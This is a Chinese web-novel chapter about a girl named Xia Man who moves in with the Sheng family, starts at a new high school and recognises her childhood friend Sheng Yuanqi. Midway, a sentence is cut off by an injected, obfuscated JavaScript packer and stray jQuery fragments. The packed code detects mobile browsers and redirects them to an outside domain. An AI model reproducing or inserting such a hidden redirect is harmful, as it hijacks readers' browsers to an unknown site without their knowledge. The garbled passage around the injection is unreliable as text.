《仲夏圆满》
文/酥酥仁
25.2.21
拉着行李箱站在盛家门前，夏满脑子里还在翻来覆去地重复爷爷临走前嘱咐她的话。
“去了人家，要听叔叔阿姨的话，别像还在咱们这一样调皮捣蛋上房揭瓦，收收你那爱折腾的性子。”
“但要是有人欺负你，也别怕，家里人都给你撑腰呢。”
“还有，跟圆圆要好好相处。”
……
年后气温骤降，新延市区里要比她那边临海的小县城稍暖。
但早春冷风还是吹得她太阳穴一跳一跳地发痛，手掌完全紧贴盖住脑门，一阵暖意袭来她才觉得好受些。
巷子幸好里没别人，不然夏满像个土老帽一样挠头研究这个电子门铃的场面，不就得被别人瞧见了。
终于，她找到了疑似是门铃的位置，指尖轻贴着按下去，一阵悠扬轻快的音乐声在她耳畔响起，还挺好听的。
也就不到半分钟，一阵急促的脚步声从小院里传来，那声音离夏满越来越近，她胸腔里被高悬的心，跳得也愈发地快，五根手指紧紧攥着行李箱的拉杆。
来人会是谁呢？是他吗？
“吱”一声，大门由内向外开门，一张温婉大气的女人面孔出现在夏满眼前，女人表情像是期待已久：“小满，你终于来了。”
“亓阿姨，好久不见。”夏满换上一副长辈见了必给零花钱的乖巧笑意，大眼睛扑闪扑闪的，脸颊旁还带着两个可爱小梨涡。
亓莉莉瞧着她这幅样子心都要被甜化了，笑得合不拢嘴，热情地接过夏满的行李箱，一只手又牵着她：“来来，快进来，今天外面太冷了吧。”
手被女性长辈柔软的手心包裹住，夏满一瞬间还有些显得无所适从，只能努力保持微笑，毕竟不是都说，伸手不打笑脸人，呲牙笑就对了。
盛家小院里并不空旷，可能因为还未正式入春显得萧瑟，但木质架子上摆满花盆，若是气温回升大概会是另外一副繁荣景象。
进了玄关，原本夏满已经准备从书包里拿出新买的拖鞋，却发现门口已经给她备了一双女孩子穿的棉拖，上面是棕色的小熊。
“最近天冷，回温还有一阵呢，阿姨就给你买了双棉拖，”亓莉莉指着地上这双鞋，又伸手把夏满书包摘下来，“都一点了，吃饭了吗小满？”
夏满下意识想向后退一步，闻到女人身上这股香水护肤品味却又让她走不动路：“……啊，哦，阿姨我早上出门前吃了很多，现在不饿。”
盛家就像亓莉莉朋友圈里发的那样，温馨整洁，满是主人精心呵护装扮过的痕迹，走进客厅迎面就是一张放大全家福，她一一扫过那几张熟悉的脸，亓阿姨、盛叔叔、似锦姐、姐夫、还有……
锋利冷漠，与她记忆里并不完全相符的脸。
“还以为小满你昨晚就能来，阿姨还想咱们晚上一家人下个馆子去。”亓莉莉把她书包行李靠柜放着，从桌上拿了瓶AD钙奶塞她手里。
夏满回她：“从小也没跟爷爷分开，他有点舍不得我，就多住了一夜，不过不是明天开学吗，能多呆一会儿是一会儿。”
亓莉莉愣了一下：“今天开学啊，小满，你是不是记错了。”
什么！今天！那盛垣亓在那朋友圈里发……
这狗东西故意的是不是！
夏满握着那瓶AD钙咬牙切齿，都不知道该哭该气笑，寄住人家第一天就发生这种事，尴尬得要死。
亓莉莉倒并未在意，她伸手摸摸夏满的脸：“没事，这第一天不都是训个话啊，收个作业打扫卫生，有什么可去的，等歇歇阿姨一会带你办入学去。”
夏满把吸管插进瓶口，嘴巴干到她此刻一定得喝些什么，直到甜滋滋的奶味在舌尖漫开，她朝着亓莉莉点头：“好的，阿姨。”
休息一会儿，亓莉莉给夏满指了指二楼为她准备的房间。
房间朝南，而且一看也是精心布置过的，浅米色四件套中还摆了只玩具熊，一应女生所需物品的俱全，夏满缓缓在床边抱膝蹲下，小心伸手去摸了摸换洗过的床单被罩。
“时间差不多了，阿姨带你去办手续啊。”亓莉莉在门外叫她道。
夏满使劲咳嗽两声，把喉间翻上来那点涩意咽下去：“我来了，阿姨。”
临走前亓莉莉给夏满系了个围巾，宽宽大大的，围起来几乎要把她整张脸挡住，学校走着去也行，亓莉莉觉得她奔波一上午，便想着骑电动车带着她，只是天冷风大怕她吹着。
这一路风驰电掣，夏满并没听亓莉莉的话扶上她的腰，而是双手插在自己外套兜里，靠着后座靠背仔细感受着新延干燥到有些刮脸的寒风。
这还真跟家里不一样，干冷。
到了学校，夏满目光扫过门口几个大字——新延市第五中学。
来之前她还上网查过，五中也算新延出名的好学校，她还琢磨着自己来这种高中是不是稍微大材小用了些，听说盛垣亓也在这念书，估计是为了方便所以才安排到一所学校的。
亓莉莉领着她办完了一系列入学手续，又领去办公室跟班主任聊了一会儿。
夏满整张脸被围巾盖着，就只露出一双又黑又亮的眼睛，办公室里闷热，她伸手把围巾往下拽拽，被闷到泛红的脸颊也终于得以放风。
“……没事，一轮复习还没开始，还有时间好好打基础，别对自己灰心了。”班主任是个看着三十多岁的女性，叫刘宁秋，每说句话都在对她笑。
好人啊，开局不错。
夏满毫无顾虑地同她对视，很郑重地点点头，她肯定行。
跟学生聊完，刘宁秋又转过身去，跟亓莉莉聊了几句。
“老师，现在班里是在上自习？还是干什么呢？”亓莉莉问。
刘宁秋替她解答：“盛垣亓妈妈，这会儿是在进行开学小测试，估计快了，再有十分钟左右就结束了，一会儿再统一开个班会，直接放学。”
盛垣亓妈妈？
所以这意思是，她和盛垣亓在一个班啊？这可能吗？
两个大人在那聊，夏满全程半句话也没听进去，垂下脑袋，眯眼盯着自己脚上的鞋子，脑子不停转地在琢磨这事。
是听说盛叔叔托了点关系，她这心酸成绩才得以来五中借读，可什么关系能让她进重点班啊？校长？教育局局长？新延市市长？
她进重点班，不会三天就让班主任轰出来吧？
想到这，夏满略感心虚地抬头看了眼正在跟亓莉莉聊天的新班主任，这位看着是个好相处。
“……你说可以吗？小满。”亓莉莉突然叫她的名字。
夏满愣着几秒，抬起头一脸你们在说什么我没听的表情。
刘宁秋笑着跟她解释：“就是问，一会儿班会要不跟老师一块进班，认认门，顺带认认同学，或者你明早来也行，都看你。”
夏满并不介意，总归都是要进班自我介绍，今天明天也没多少差别，况且她想看看曾经跟她一起疯跑折腾的盛垣亓，如今在学校里会是什么模样。
只看照片，他似乎变冷淡变锐气了些。
“我一会儿跟老师一起去。”夏满慢半拍地朝着刘宁秋点头。
亓莉莉也说：“那小满，你一会儿就跟垣亓一块回家，阿姨趁这会儿回去买菜做饭，正好让他带你认认走路回去的路线。”
“好。”
亓莉莉走后，刘宁秋便领着夏满走上四楼，刚出楼道，刘宁秋便收到条消息。
“夏满，”她出声叫道，“你先进班里坐会儿，最后一排有空座，我得回趟办公室。”
说完匆匆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081460|163495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离去，就留夏满一个人在走廊里，对着玻璃对面的自己身影，风中凌乱，她是哪个班的啊？
她真没听见，似乎提到班号时她还在那疯狂走神。
夏满一脸茫然地定在原地发呆，铃声响起后先是走出几个抱着试卷的老师，再后来学生们一个接一个从班里钻出来放风。
她要是留在原地等着刘宁秋回来，会不会借读第一天，就给她留下个听不懂人话，缺心眼子的标签。
没办法，挨家挨户一个个找呗，反正只要找见盛垣亓不就行啦。
虽说如此，夏满却还是收到路过学生们的目光，不仅是因为她没穿校服，身上就是一件黑色短款羽绒服和最基础的蓝色牛仔裤，围着一条能遮住全脸的大围巾，还有她的行为——只要路过一间教室，就要站在班级正门前把全班扫视一圈。
那些打量视线夏满权当不存在，她只一门心思想找到盛垣亓，可这家伙人呢？
“……晚上打LOL去吗？别人不去盛哥你不去不行，老王那打野菜的，偏偏他还爱玩。”
“他打的菜管我屁事，我教他的？”
“他要不是看你玩盲僧他能缺心眼地玩，还是你全责。”
“滚。”
男生的声线散漫又带着磁性，明明夏满并不吃这挂的声音，却莫名像是带着小勾子，就这么引得她缓缓在一间教室前停下脚步，她仰头看班牌。
理科十一班。
“那以后让王子杨多买点保险，光我这俩钱以后还不够给他人生负责的。”
那男生漫不经心地说，语气里还带着若有似无的笑，那股阴阳怪气欠得让人想握紧拳头。
顺着这声音，夏满走向教室正门，班里因为下课走了多半的学生，总共就剩那么零星几位，不带一丁点遮挡，谁长什么样儿全瞧个一清二楚。
夏满就这么抬眼看见教室后排靠窗处，正与人嘻笑闲扯的少年。
他跟客厅里那张家庭合照还不太一样。
可能是因为摄影师额外要求，照片上的他唇角只浅浅勾起了一个微不可查的笑容，而当下，他半垂着眼，抱胸随意靠着椅背，玻璃窗透进来那点傍晚余光把优越侧脸映得更桀骜，唇角扬起的笑格外张扬嚣张，锋芒毕露。
当初盛垣亓就是全镇她觉得最好看的小朋友，如今亦是。
利落骨相令人挪不开眼，线条流畅干净，眉眼鼻梁又被雕刻的精致立体，跟旁边男生一比，好像就他一个开了美颜滤镜，帅得耀眼有带着攻击性，令人忍不住看他，也只看他。
总得有缺点吧？比如五短身材……
好了，没有缺点。
他刚好站起身来，明明只穿了件黑色圆领卫衣，可还是挡不住肩膀宽阔身子匀称结实，明晃晃地比一旁好友高出半头。
原来他现在，是这样的。
夏满眉头不自觉地拧起来，视线牢牢锁在盛垣亓身上，炽热坚定。
陆鸣无意识中瞧见班门前那个少女身影，揶揄地看向自己家兄弟，还用胳膊肘怼怼：“你看你，能不能收敛一下你这张招蜂引蝶的脸。”
“所以呢？你出钱带我去整容？还是包未来五十年的口罩钱，你准备为我负责？”盛垣亓完全没有往门口看的想法，手捞起外套就想往班外走。
只是这眼神，灼热到过分令人在意。
他有些烦躁地揉了把头发，不耐烦地偏过脸扫过去一道冷淡到极点的眼神。
一秒、两秒……
盛垣亓望着她竟出了神，喉结不由自主地上下滚动，暴露了主人当下的茫然、不解和手足无措。
尽管她除了明亮双眼之外的其它一切五官特征全被宽大围巾遮盖，尽管他们分别许久样貌都有各自的成长改变，尽管她此时不该在这里出现，但，盛垣亓就是知道。
她是夏满。